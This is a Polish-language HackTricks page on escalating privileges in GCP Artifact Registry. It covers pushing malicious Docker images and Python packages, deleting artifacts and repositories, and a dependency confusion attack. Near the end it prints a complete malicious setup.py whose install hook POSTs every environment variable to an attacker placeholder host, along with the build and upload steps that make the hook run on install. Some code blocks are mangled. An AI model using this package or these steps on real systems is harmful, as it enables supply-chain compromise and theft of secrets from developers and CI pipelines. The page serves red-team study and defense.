GCP - Artifact Registry Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Artifact Registry

Aby uzyskać więcej informacji o Artifact Registry, sprawdź:

GCP - Artifact Registry Enum

artifactregistry.repositories.uploadArtifacts

Dzięki temu uprawnieniu atakujący mógłby przesyłać nowe wersje artefaktów zawierające złośliwy kod, np. Docker images:

Prześlij obraz Docker do Artifact Registry ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

tag the image to upload it

docker tag : -docker.pkg.dev///:

Upload it

docker push -docker.pkg.dev///:

</details>

> [!CAUTION]
> Sprawdzono, że jest **możliwe przesłanie nowego złośliwego obrazu docker** o tej samej nazwie i tagu co już obecny, więc **stary utraci tag** i następnym razem, gdy obraz o tym tagu zostanie **pobrany, zostanie pobrany złośliwy**.

<details>

<summary>Prześlij bibliotekę Python</summary>

**Zacznij od utworzenia biblioteki do przesłania** (jeśli możesz pobrać najnowszą wersję z registry możesz uniknąć tego kroku):

1.  **Skonfiguruj strukturę projektu**:

- Utwórz nowy katalog dla swojej biblioteki, np. `hello_world_library`.
- Wewnątrz tego katalogu utwórz kolejny katalog z nazwą pakietu, np. `hello_world`.
- W katalogu pakietu utwórz plik `__init__.py`. Plik ten może być pusty lub może zawierać inicjalizacje dla pakietu.

<details>
<summary>Utwórz strukturę projektu</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
  1. Napisz kod biblioteki:
  • W katalogu hello_world utwórz nowy plik Python dla modułu, np. greet.py.
  • Napisz funkcję “Hello, World!”:
Utwórz moduł biblioteki
# hello_world/greet.py
def say_hello():
return "Hello, World!"
  1. Utwórz plik setup.py:
  • W katalogu głównym hello_world_library utwórz plik setup.py.
  • Ten plik zawiera metadane o bibliotece i mówi Pythonowi, jak ją zainstalować.
Utwórz plik setup.py
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)

Teraz wgrajmy bibliotekę:

  1. Zbuduj swój pakiet:
  • Z katalogu głównego hello_world_library uruchom:
Zbuduj pakiet Python
python3 setup.py sdist bdist_wheel
  1. Skonfiguruj uwierzytelnianie dla twine (używane do przesyłania pakietu):
  • Upewnij się, że masz zainstalowane twine (pip install twine).
  • Użyj gcloud, aby skonfigurować poświadczenia:
Prześlij pakiet za pomocą twine ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ```
  1. Wyczyść kompilację
Usuń artefakty kompilacji ```bash rm -rf dist build hello_world.egg-info ```

Caution

Nie można wgrać biblioteki python o tej samej wersji co ta już obecna, ale można wgrać wyższe wersje (lub dodać dodatkowe .0 na końcu wersji jeśli to zadziała — choć nie w pythonie —), albo usunąć ostatnią wersję i wgrać nową (wymagane artifactregistry.versions.delete):

Delete artifact version
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>

artifactregistry.repositories.downloadArtifacts

Dzięki temu uprawnieniu możesz pobrać artefakty i przeszukać je w poszukiwaniu wrażliwych informacji oraz luk w zabezpieczeniach.

Pobierz obraz Docker:

Pobierz obraz Docker z Artifact Registry ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

Dowload image

docker pull -docker.pkg.dev///:

</details>

Pobierz bibliotekę **python**:

<details>
<summary>Pobierz bibliotekę Python z Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
  • Co się stanie, jeśli rejestr remote i rejestr standardowy zostaną połączone w rejestrze wirtualnym i pakiet istnieje w obu? Sprawdź tę stronę:

GCP - Artifact Registry Persistence

artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)

Usuwa artefakty z rejestru, takie jak obrazy docker:

Usuń obraz Docker z Artifact Registry ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ```

artifactregistry.repositories.delete

Usuń całe repozytorium (nawet jeśli zawiera zawartość):

Usuń repozytorium Artifact Registry ``` gcloud artifacts repositories delete --location= ```

artifactregistry.repositories.setIamPolicy

Atakujący z tym uprawnieniem mógłby przyznać sobie uprawnienia umożliwiające wykonanie niektórych wcześniej wymienionych ataków na repozytorium.

Pivoting to other Services through Artifact Registry Read & Write

  • Cloud Functions

Kiedy tworzona jest Cloud Function, nowy obraz docker jest wypychany do Artifact Registry projektu. Próbowałem zmodyfikować obraz na nowy, a nawet usunąć bieżący obraz (i obraz cache) i nic się nie zmieniło — funkcja nadal działała. Dlatego może być możliwe nadużycie Race Condition attack jak w przypadku bucketu, aby zmienić kontener docker, który zostanie uruchomiony, jednak samo modyfikowanie przechowywanego obrazu nie pozwala na kompromitację Cloud Function.

  • App Engine

Mimo że App Engine tworzy obrazy docker w Artifact Registry. Przetestowano, że nawet jeśli zmodyfikujesz obraz w tej usłudze i usuniesz instancję App Engine (więc wdrażana jest nowa), to wykonywany kod się nie zmienia.\ Może być możliwe, że wykonując Race Condition attack, podobnie jak w przypadku bucketów, można nadpisać wykonywany kod, ale tego nie testowano.

artifactregistry.repositories.update

Atakujący nie potrzebuje specyficznych uprawnień w Artifact Registry, aby wykorzystać ten problem — wystarczy podatna konfiguracja wirtualnego repozytorium. Dzieje się tak, gdy wirtualne repozytorium łączy zdalne publiczne repozytorium (np. PyPI, npm) z wewnętrznym, a źródło zdalne ma równy lub wyższy priorytet. Jeśli oba zawierają pakiet o tej samej nazwie, system wybiera najwyższą wersję. Atakujący musi jedynie znać nazwę wewnętrznego pakietu i mieć możliwość publikowania pakietów w odpowiadającym publicznym rejestrze.

Z uprawnieniem artifactregistry.repositories.update atakujący mógłby zmienić ustawienia upstream wirtualnego repozytorium, by celowo stworzyć taką podatną konfigurację i użyć Dependency Confusion jako metody persystencji, wstawiając złośliwe pakiety, które deweloperzy lub systemy CI/CD mogą instalować automatycznie.

Atakujący tworzy złośliwą wersję wewnętrznego pakietu w publicznym repozytorium z wyższym numerem wersji. Dla pakietów Python oznacza to przygotowanie struktury pakietu imitującej legalną.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

Plik setup.py jest następnie tworzony i zawiera złośliwy kod, który uruchomi się podczas instalacji. Ten plik musi określać numer wersji wyższy niż ten w prywatnym repozytorium.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

Zbuduj pakiet i usuń plik wheel, aby zapewnić wykonanie kodu podczas instalacji.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

Prześlij złośliwy pakiet do publicznego repozytorium (na przykład test.pypi.org dla Pythona).

pip install twine
twine upload --repository testpypi dist/*

Gdy system lub usługa instaluje pakiet, korzystając z repozytorium wirtualnego, pobierze złośliwą wersję z publicznego repozytorium zamiast prawidłowej wersji z repozytorium wewnętrznego, ponieważ złośliwa wersja ma wyższy numer, a zdalne repozytorium ma równy lub wyższy priorytet.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks